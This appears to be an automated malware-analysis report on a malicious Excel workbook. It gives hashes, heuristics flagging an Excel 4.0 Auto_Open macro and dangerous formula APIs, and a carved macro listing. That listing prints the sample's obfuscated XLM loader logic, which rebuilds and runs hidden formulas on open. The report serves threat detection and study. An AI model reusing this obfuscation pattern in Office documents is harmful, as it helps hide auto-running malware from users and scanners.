Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a2d3a1679642cc4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:15 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 91e627afe419fe03753392a154a231b1 SHA-1: 14f95ff74200b95b18cf0e450a7c96c9232075ed SHA-256: 7a2d3a1679642cc48c8e3dc2824f36bca6047a408aced1284cea8ac2d4f73764
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6536 bytes
SHA-256: a036fcd90033d9783ddcdad7fb2974801204a66cbc47e5262e9c7a7b04ddb333
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uqWSWuw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     24 LABEL : Cell Value, String Constant - AwtHghWff len=0 
' 0018     27 LABEL : Cell Value, String Constant - cCMwwgyCdBnP len=0 
' 0018     27 LABEL : Cell Value, String Constant - FjGTonyxTtGk len=0 
' 0018     24 LABEL : Cell Value, String Constant - FrVJseTMd len=0 
' 0018     25 LABEL : Cell Value, String Constant - FsvZaJTKcs len=0 
' 0018     24 LABEL : Cell Value, String Constant - JcgzbjGtf len=0 
' 0018     20 LABEL : Cell Value, String Constant - LfcLP len=0 
' 0018     23 LABEL : Cell Value, String Constant - MibpshCk len=0 
' 0018     27 LABEL : Cell Value, String Constant - mVqJXKlJfuWC len=0 
' 0018     22 LABEL : Cell Value, String Constant - nXAlfpC len=0 
' 0018     27 LABEL : Cell Value, String Constant - PWeYvXUkUmEE len=0 
' 0018     24 LABEL : Cell Value, String Constant - SavHWCWpq len=0 
' 0018     25 LABEL : Cell Value, String Constant - SlOZbEjSqx len=0 
' 0018     22 LABEL : Cell Value, String Constant - TlsmEbK len=0 
' 0018     21 LABEL : Cell Value, String Constant - TrWBTl len=0 
' 0018     24 LABEL : Cell Value, String Constant - VpqHBuqxY len=0 
' 0018     26 LABEL : Cell Value, String Constant - wrKOXYUgTIh len=0 
' 0018     23 LABEL : Cell Value, String Constant - XFpvdNxG len=0 
' 0018     27 LABEL : Cell Value, String Constant - yhjqIhReFxnu len=0 
' 0018     21 LABEL : Cell Value, String Constant - zhWFpf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uqWSWuw,E62,"SET.NAME("TrWBTl",VALUE("0"))",""
'  uqWSWuw,E64,"SET.NAME("FrVJseTMd",TrWBTl)",""
'  uqWSWuw,E66,"SET.NAME("PWeYvXUkUmEE",TrWBTl)",""
'  uqWSWuw,E71,"SET.NAME("JcgzbjGtf",COUNTA(cCMwwgyCdBnP))",""
'  uqWSWuw,E76,"SET.NAME("wrKOXYUgTIh",COUNTA(zhWFpf))",""
'  uqWSWuw,E80,[],""
'  uqWSWuw,E82,"SET.NAME("MibpshCk","")",""
'  uqWSWuw,E86,"FrVJseTMd",""
'  uqWSWuw,E90,"SET.NAME("AwtHghWff",HLOOKUP("*",cCMwwgyCdBnP,FrVJseTMd,FALSE))",""
'  uqWSWuw,E93,"VpqHBuqxY",""
'  uqWSWuw,E98,"SET.NAME("mVqJXKlJfuWC",TrWBTl)",""
'  uqWSWuw,E100,[],""
'  uqWSWuw,E104,"mVqJXKlJfuWC",""
'  uqWSWuw,E109,"XFpvdNxG",""
'  uqWSWuw,E112,"nXAlfpC",""
'  uqWSWuw,E116,"FjGTonyxTtGk",""
'  uqWSWuw,E119,"SET.NAME("TlsmEbK",VALUE(HLOOKUP("*",zhWFpf,FjGTonyxTtGk,FALSE)))",""
'  uqWSWuw,E123,"FsvZaJTKcs",""
'  uqWSWuw,E126,"MibpshCk",""
'  uqWSWuw,E129,"PWeYvXUkUmEE",""
'  uqWSWuw,E132,NEXT(),""
'  uqWSWuw,E135,"SlOZbEjSqx",""
'  uqWSWuw,E139,"SET.NAME("f",INT(T(FORMULA(T(MibpshCk)&"",""&T(SlOZbEjSqx)))))",""
'  uqWSWuw,E144,"SavHWCWpq",""
'  uqWSWuw,E149,NEXT(),""
'  uqWSWuw,E153,RETURN(),""
'  uqWSWuw,E180,"SET.NAME("LfcLP",E62)",""
'  uqWSWuw,E182,"cCMwwgyCdBnP",""
'  uqWSWuw,E184,"SET.NAME("zhWFpf",R98C13)",""
'  uqWSWuw,E186,"SET.NAME("SavHWCWpq",193)",""
'  uqWSWuw,E189,"SET.NAME("yhjqIhReFxnu",5)",""
'  uqWSWuw,E192,LfcLP(),""
'  uqWSWuw,E193,HALT(),""